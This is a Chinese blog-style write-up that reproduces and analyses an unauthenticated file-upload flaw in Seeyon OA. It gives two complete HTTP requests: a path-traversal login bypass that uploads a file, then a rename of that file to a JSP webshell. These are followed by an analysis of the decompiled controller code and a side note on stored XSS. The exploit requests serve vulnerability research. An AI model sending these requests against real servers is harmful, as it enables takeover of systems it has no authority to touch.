加微信即可加入WingBy交流群 (不存在娱乐化)一个可以交流CTF、WEB、内网、免杀、红队、蓝队、java/php代码审计、逆向、云安全、CNVD、证书挖掘的交流群..........
漏洞复现
首先复现一下漏洞
POST /seeyon/autoinstall.do/../../seeyon/fileUpload.do?method=processUpload HTTP/1.1
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 GLS/100.10.9939.100
Content-Length: 3502
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="type"
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="extensions"
png
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="applicationCategory"
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="destDirectory"
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="destFilename"
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="maxSize"
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="isEncrypt"
false
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file1"; filename="1.png"
Content-Type: Content-Type: application/pdf
webshell
------WebKitFormBoundary7MA4YWxkTrZu0gW--
POST /seeyon/autoinstall.do/../../seeyon/privilege/menu.do HTTP/1.1
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 GLS/100.10.9939.100
Content-Length: 65
method=uploadMenuIcon&fileid=-2**********&filename=bb.jsp
最终访问 /seeyon/main/menuIcon/shell.jsp 即可
代码分析
为什么两个请求都要用到目录穿越?
这里表示用于所有以 /autoinstall.do 开头的请求。
<not_need_logon>标签,顾名思义就说不需要登录。
所以做目录穿越的时候都是使用的/seeyon/autoinstall.do
试试其他的可不可以呢 首先不目录穿越是这样的
而使用了genericController.do是这样的
这和autoinstall.do是一模一样的
所以不止是autoinstall.do可以。
那么这里为啥要用目录穿越了,了解java权限绕过的师傅们应该知道。在filter处理时,逻辑是只要是autoinstall.do开头的就不需要登录,那么payload中/seeyon/autoinstall.do/../../seeyon/privilege/menu.do是autoinstall.do开头,所以满足条件任务不需要登录也可访问(/seeyon是bashurl)。
所以两个请求都用到目录穿越是为了绕过鉴权验证,达到未授权的效果。
分析两次请求
分析第一个请求 在配置文件中找到处理fileupload.do的类是FileUploadController类
这样就定位到了处理fileupload.do对应的控制器了
先看代码首位
ModelAndView modelAndView = new ModelAndView("ctp/common/fileUpload/upload");
...................
................................
...................
return modelAndView;
分别是创建了一个视图,试图的路径是ctp/common/fileUpload/upload.jsp,也就是文件上传时候那个jsp 如图位置
在控制器中,这里 进行了文件上传处理 前面都是一些其他逻辑处理 跟进去看看
发现改接口有一个实现类
实现类调用了uploadFiles函数
这里才是真正的处理实现
对于后缀的判断处理代码如下 可以看到判断后缀还是毕竟严格 是将jsp当作了黑名单 所以第一个请求仅仅是上传了一个png
竟然只是将jsp列入了黑名单,那是不是可以上传html打xss呢
试试看 还真是上传成功了 所以确实只是不能上传jsp,其他都可以正常上传的
文件上传看完了,再来看看关键的第二次请求。可以看到第二次请求是对之前上传的文件进行名称修改,让它变成webshell
第二请求是menu.do 对于处理的控制器如图是MenuController
控制器中有一个 method=uploadMenuIcon
复制关键代码方便查看
File file = fileManager.getFile(Long.valueOf(Long.parseLong(request.getParameter("fileid"))), new Date());
String filePath = (new StringBuilder(String.valueOf(AppContext.getSystemProperty("ApplicationRoot")))).append(File.separator).append("main").append(File.separator).append("menuIcon").append(File.separator).toString();
File rootDirectory = new File(filePath);
if(!rootDirectory.exists())
rootDirectory.mkdirs();
String fielName = request.getParameter("filename");
File fileNew = new File((new StringBuilder(String.valueOf(filePath))).append(fielName).toString());
if(!fileNew.exists())
fileNew.createNewFile();
java.io.InputStream in = new FileInputStream(file);
java.io.OutputStream out = new FileOutputStream(fileNew);
可以看到根据fileid获取file,然后filepath是文件落地的路径,通过拼接发现最终落地的位置是/main/menuIcon加上/seeyon也就是/seeyon/main/menuIcon,而创建的文件的名字是filename,是没有进行任何过滤的,所以可以是jsp后缀文件。
关键就说这个fileid,我们回想一下第一个请求的代码中是不是也有个fileid
然后在processupload中有这段代码
att是一个Attachment对象 看看这个对象长啥样
可以看到有fileUrl = file.getId(); 这个getId其实就说获取fileid也就是前面那个uuid,在jsp中也就是fileurl
所以第二个请求中的fileid,其实就是第一个请求中返回的fileUrl
这里这个漏洞所有的地方就分析结束了